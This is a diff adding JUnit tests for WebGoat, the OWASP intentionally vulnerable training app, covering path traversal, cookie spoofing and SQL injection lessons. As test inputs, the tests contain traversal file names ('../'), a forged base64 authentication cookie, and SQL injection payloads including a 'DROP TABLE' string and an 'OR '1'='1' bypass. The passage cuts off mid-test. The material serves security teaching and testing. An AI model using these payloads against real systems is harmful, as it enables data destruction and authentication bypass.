@ -0,0 +1,79 @@
|
||||
package org.owasp.webgoat.lessons.path_traversal;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.Mockito;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.owasp.webgoat.lessons.path_traversal.PathTraversal;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.mock.web.MockMultipartFile;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import java.io.File;
|
||||
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
public class ProfileUploadTest extends LessonTest {
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
Mockito.when(webSession.getCurrentLesson()).thenReturn(new PathTraversal());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
Mockito.when(webSession.getUserName()).thenReturn("unit-test");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void solve() throws Exception {
|
||||
var profilePicture = new MockMultipartFile("uploadedFile", "../picture.jpg", "text/plain", "an image".getBytes());
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.multipart("/PathTraversal/profile-upload")
|
||||
.file(profilePicture)
|
||||
.param("fullName", "../John Doe"))
|
||||
.andExpect(status().is(200))
|
||||
.andExpect(jsonPath("$.assignment", CoreMatchers.equalTo("ProfileUpload")))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void attemptWithWrongDirectory() throws Exception {
|
||||
var profilePicture = new MockMultipartFile("uploadedFile", "../picture.jpg", "text/plain", "an image".getBytes());
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.multipart("/PathTraversal/profile-upload")
|
||||
.file(profilePicture)
|
||||
.param("fullName", "../../" + webSession.getUserName()))
|
||||
.andExpect(status().is(200))
|
||||
.andExpect(jsonPath("$.assignment", CoreMatchers.equalTo("ProfileUpload")))
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.containsString("Nice try")))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void shouldNotOverrideExistingFile() throws Exception {
|
||||
var profilePicture = new MockMultipartFile("uploadedFile", "picture.jpg", "text/plain", "an image".getBytes());
|
||||
mockMvc.perform(MockMvcRequestBuilders.multipart("/PathTraversal/profile-upload")
|
||||
.file(profilePicture)
|
||||
.param("fullName", ".."+File.separator + webSession.getUserName()))
|
||||
.andExpect(jsonPath("$.output", CoreMatchers.anyOf(
|
||||
CoreMatchers.containsString("Is a directory"),
|
||||
CoreMatchers.containsString("..\\\\"+ webSession.getUserName()))))
|
||||
.andExpect(status().is(200));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void normalUpdate() throws Exception {
|
||||
var profilePicture = new MockMultipartFile("uploadedFile", "picture.jpg", "text/plain", "an image".getBytes());
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.multipart("/PathTraversal/profile-upload")
|
||||
.file(profilePicture)
|
||||
.param("fullName", "John Doe"))
|
||||
.andExpect(status().is(200))
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.containsStringIgnoringCase("PathTraversal\\"+File.separator+"unit-test\\"+File.separator+"John Doe")))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,204 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2021 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.spoofcookie;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.DisplayName;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.owasp.webgoat.container.assignments.AssignmentEndpointTest;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.ResultActions;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import javax.servlet.http.Cookie;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static org.hamcrest.Matchers.emptyString;
|
||||
import static org.hamcrest.Matchers.not;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.content;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.cookie;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
|
||||
|
||||
/***
|
||||
*
|
||||
* @author Angel Olle Blazquez
|
||||
*
|
||||
*/
|
||||
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
class SpoofCookieAssignmentTest extends AssignmentEndpointTest {
|
||||
|
||||
private MockMvc mockMvc;
|
||||
private static final String COOKIE_NAME = "spoof_auth";
|
||||
private static final String LOGIN_CONTEXT_PATH = "/SpoofCookie/login";
|
||||
private static final String ERASE_COOKIE_CONTEXT_PATH = "/SpoofCookie/cleanup";
|
||||
|
||||
@BeforeEach
|
||||
void setup() {
|
||||
SpoofCookieAssignment spoofCookieAssignment = new SpoofCookieAssignment();
|
||||
init(spoofCookieAssignment);
|
||||
mockMvc = standaloneSetup(spoofCookieAssignment).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("Lesson completed")
|
||||
void success() throws Exception {
|
||||
Cookie cookie = new Cookie(COOKIE_NAME, "NjI2MTcwNGI3YTQxNGE1OTU2NzQ2ZDZmNzQ=");
|
||||
|
||||
ResultActions result = mockMvc.perform(MockMvcRequestBuilders
|
||||
.post(LOGIN_CONTEXT_PATH)
|
||||
.cookie(cookie)
|
||||
.param("username", "")
|
||||
.param("password", ""));
|
||||
|
||||
result.andExpect(status().isOk());
|
||||
result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("Valid credentials login without authentication cookie")
|
||||
void validLoginWithoutCookieTest() throws Exception {
|
||||
String username = "webgoat";
|
||||
String password = "webgoat";
|
||||
|
||||
ResultActions result = mockMvc.perform(MockMvcRequestBuilders
|
||||
.post(LOGIN_CONTEXT_PATH)
|
||||
.param("username", username)
|
||||
.param("password", password));
|
||||
|
||||
result.andExpect(status().isOk());
|
||||
result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
result.andExpect(content().contentType(MediaType.APPLICATION_JSON_VALUE));
|
||||
result.andExpect(cookie().value(COOKIE_NAME, not(emptyString())));
|
||||
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@MethodSource("providedCookieValues")
|
||||
@DisplayName("Tests different invalid/valid -but not solved- cookie flow scenarios: "
|
||||
+ "1.- Invalid encoded cookie sent. "
|
||||
+ "2.- Valid cookie login (not tom) sent. "
|
||||
+ "3.- Valid cookie with not known username sent ")
|
||||
void cookieLoginNotSolvedFlow(String cookieValue) throws Exception {
|
||||
Cookie cookie = new Cookie(COOKIE_NAME, cookieValue);
|
||||
mockMvc.perform(MockMvcRequestBuilders
|
||||
.post(LOGIN_CONTEXT_PATH)
|
||||
.cookie(cookie)
|
||||
.param("username", "")
|
||||
.param("password", ""))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("UnsatisfiedServletRequestParameterException test for missing username")
|
||||
void invalidLoginWithUnsatisfiedServletRequestParameterExceptionOnUsernameMissing() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders
|
||||
.post(LOGIN_CONTEXT_PATH)
|
||||
.param("password", "anypassword"))
|
||||
.andExpect(status().is4xxClientError());
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("UnsatisfiedServletRequestParameterException test for missing password")
|
||||
void invalidLoginWithUnsatisfiedServletRequestParameterExceptionOnPasswordMissing() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders
|
||||
.post(LOGIN_CONTEXT_PATH)
|
||||
.param("username", "webgoat"))
|
||||
.andExpect(status().is4xxClientError());
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("Invalid blank credentials login")
|
||||
void invalidLoginWithBlankCredentials() throws Exception {
|
||||
ResultActions result = mockMvc.perform(MockMvcRequestBuilders
|
||||
.post(LOGIN_CONTEXT_PATH)
|
||||
.param("username", "")
|
||||
.param("password", ""));
|
||||
|
||||
result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("Invalid blank password login")
|
||||
void invalidLoginWithBlankPassword() throws Exception {
|
||||
ResultActions result = mockMvc.perform(MockMvcRequestBuilders
|
||||
.post(LOGIN_CONTEXT_PATH)
|
||||
.param("username", "webgoat")
|
||||
.param("password", ""));
|
||||
|
||||
result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("cheater test")
|
||||
void cheat() throws Exception {
|
||||
ResultActions result = mockMvc.perform(MockMvcRequestBuilders
|
||||
.post(LOGIN_CONTEXT_PATH)
|
||||
.param("username", "tom")
|
||||
.param("password", "apasswordfortom"));
|
||||
|
||||
result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("Invalid login with tom username")
|
||||
void invalidTomLogin() throws Exception {
|
||||
ResultActions result = mockMvc.perform(MockMvcRequestBuilders
|
||||
.post(LOGIN_CONTEXT_PATH)
|
||||
.param("username", "tom")
|
||||
.param("password", ""));
|
||||
|
||||
result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("Erase authentication cookie")
|
||||
void eraseAuthenticationCookie() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders
|
||||
.get(ERASE_COOKIE_CONTEXT_PATH))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(cookie().maxAge(COOKIE_NAME, 0))
|
||||
.andExpect(cookie().value(COOKIE_NAME, ""));
|
||||
|
||||
}
|
||||
|
||||
private static Stream<Arguments> providedCookieValues() {
|
||||
return Stream.of(
|
||||
Arguments.of("NjI2MTcwNGI3YTQxNGE1OTUNzQ2ZDZmNzQ="),
|
||||
Arguments.of("NjI2MTcwNGI3YTQxNGE1OTU2NzQ3NDYxNmY2NzYyNjU3Nw=="),
|
||||
Arguments.of("NmQ0NjQ1Njc0NjY4NGY2Mjc0NjQ2YzY1Njc2ZTYx"));
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,90 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2021 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.spoofcookie.encoders;
|
||||
|
||||
import static org.hamcrest.CoreMatchers.is;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static org.junit.jupiter.api.Assertions.assertNull;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import org.junit.jupiter.api.DisplayName;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.owasp.webgoat.lessons.spoofcookie.encoders.EncDec;
|
||||
|
||||
/***
|
||||
*
|
||||
* @author Angel Olle Blazquez
|
||||
*
|
||||
*/
|
||||
|
||||
class EncDecTest {
|
||||
|
||||
@ParameterizedTest
|
||||
@DisplayName("Encode test")
|
||||
@MethodSource("providedForEncValues")
|
||||
void testEncode(String decoded, String encoded) {
|
||||
String result = EncDec.encode(decoded);
|
||||
|
||||
assertTrue(result.endsWith(encoded));
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@DisplayName("Decode test")
|
||||
@MethodSource("providedForDecValues")
|
||||
void testDecode(String decoded, String encoded) {
|
||||
String result = EncDec.decode(encoded);
|
||||
|
||||
assertThat(decoded, is(result));
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("null encode test")
|
||||
void testNullEncode() {
|
||||
assertNull(EncDec.encode(null));
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("null decode test")
|
||||
void testNullDecode() {
|
||||
assertNull(EncDec.decode(null));
|
||||
}
|
||||
|
||||
private static Stream<Arguments> providedForEncValues() {
|
||||
return Stream.of(
|
||||
Arguments.of("webgoat", "YxNmY2NzYyNjU3Nw=="),
|
||||
Arguments.of("admin", "2ZTY5NmQ2NDYx"),
|
||||
Arguments.of("tom", "2ZDZmNzQ="));
|
||||
}
|
||||
|
||||
private static Stream<Arguments> providedForDecValues() {
|
||||
return Stream.of(
|
||||
Arguments.of("webgoat", "NjI2MTcwNGI3YTQxNGE1OTU2NzQ3NDYxNmY2NzYyNjU3Nw=="),
|
||||
Arguments.of("admin", "NjI2MTcwNGI3YTQxNGE1OTU2NzQ2ZTY5NmQ2NDYx"),
|
||||
Arguments.of("tom", "NjI2MTcwNGI3YTQxNGE1OTU2NzQ2ZDZmNzQ="));
|
||||
}
|
||||
}
|
@ -0,0 +1,42 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.sql_injection;
|
||||
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.owasp.webgoat.lessons.sql_injection.introduction.SqlInjection;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
public class SqlLessonTest extends LessonTest {
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new SqlInjection());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
}
|
||||
|
||||
|
||||
}
|
@ -0,0 +1,73 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.sql_injection.introduction;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.lessons.sql_injection.SqlLessonTest;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import static org.hamcrest.CoreMatchers.is;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
/**
|
||||
* @author Benedikt Stuhrmann
|
||||
* @since 11/07/18.
|
||||
*/
|
||||
public class SqlInjectionLesson10Test extends SqlLessonTest {
|
||||
|
||||
private String completedError = "JSON path \"lessonCompleted\"";
|
||||
|
||||
@Test
|
||||
public void tableExistsIsFailure() throws Exception {
|
||||
try {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack10")
|
||||
.param("action_string", ""))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.10.entries"))));
|
||||
} catch (AssertionError e) {
|
||||
if (!e.getMessage().contains(completedError)) throw e;
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack10")
|
||||
.param("action_string", ""))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(true)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.10.success"))));
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
public void tableMissingIsSuccess() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack10")
|
||||
.param("action_string", "%'; DROP TABLE access_log;--"))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(true)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.10.success"))));
|
||||
}
|
||||
}
|
@ -0,0 +1,44 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.sql_injection.introduction;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.lessons.sql_injection.SqlLessonTest;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
public class SqlInjectionLesson2Test extends SqlLessonTest {
|
||||
|
||||
@Test
|
||||
public void solution() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack2")
|
||||
.param("query", "SELECT department FROM employees WHERE userid=96134;"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||
}
|
||||
}
|
@ -0,0 +1,73 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.sql_injection.introduction;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.AfterEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.container.LessonDataSource;
|
||||
import org.owasp.webgoat.lessons.sql_injection.SqlLessonTest;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import java.sql.SQLException;
|
||||
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
public class SqlInjectionLesson5Test extends SqlLessonTest {
|
||||
|
||||
@Autowired
|
||||
private LessonDataSource dataSource;
|
||||
|
||||
@AfterEach
|
||||
public void removeGrant() throws SQLException {
|
||||
dataSource.getConnection().prepareStatement("revoke select on grant_rights from unauthorized_user cascade").execute();
|
||||
}
|
||||
|
||||
@Test
|
||||
public void grantSolution() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5")
|
||||
.param("query", "grant select on grant_rights to unauthorized_user"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void differentTableShouldNotSolveIt() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5")
|
||||
.param("query", "grant select on users to unauthorized_user"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void noGrantShouldNotSolveIt() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5")
|
||||
.param("query", "select * from grant_rights"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
}
|
@ -0,0 +1,87 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.sql_injection.introduction;
|
||||
|
||||
import org.junit.jupiter.api.Disabled;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.lessons.sql_injection.SqlLessonTest;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.CoreMatchers.is;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
public class SqlInjectionLesson5aTest extends SqlLessonTest {
|
||||
|
||||
@Test
|
||||
public void knownAccountShouldDisplayData() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/assignment5a")
|
||||
.param("account", "Smith")
|
||||
.param("operator", "")
|
||||
.param("injection", ""))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("assignment.not.solved"))))
|
||||
.andExpect(jsonPath("$.output", containsString("<p>USERID, FIRST_NAME")));
|
||||
}
|
||||
|
||||
@Disabled
|
||||
@Test
|
||||
public void unknownAccount() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/assignment5a")
|
||||
.param("account", "Smith")
|
||||
.param("operator", "").param("injection", ""))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("NoResultsMatched"))))
|
||||
.andExpect(jsonPath("$.output").doesNotExist());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void sqlInjection() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/assignment5a")
|
||||
.param("account", "'")
|
||||
.param("operator", "OR")
|
||||
.param("injection", "'1' = '1"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(true)))
|
||||
.andExpect(jsonPath("$.feedback", containsString("You have succeed")))
|
||||
.andExpect(jsonPath("$.output").exists());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void sqlInjectionWrongShouldDisplayError() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/assignment5a")
|
||||
.param("account", "Smith'")
|
||||
.param("operator", "OR")
|
||||
.param("injection", "'1' = '1'"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||
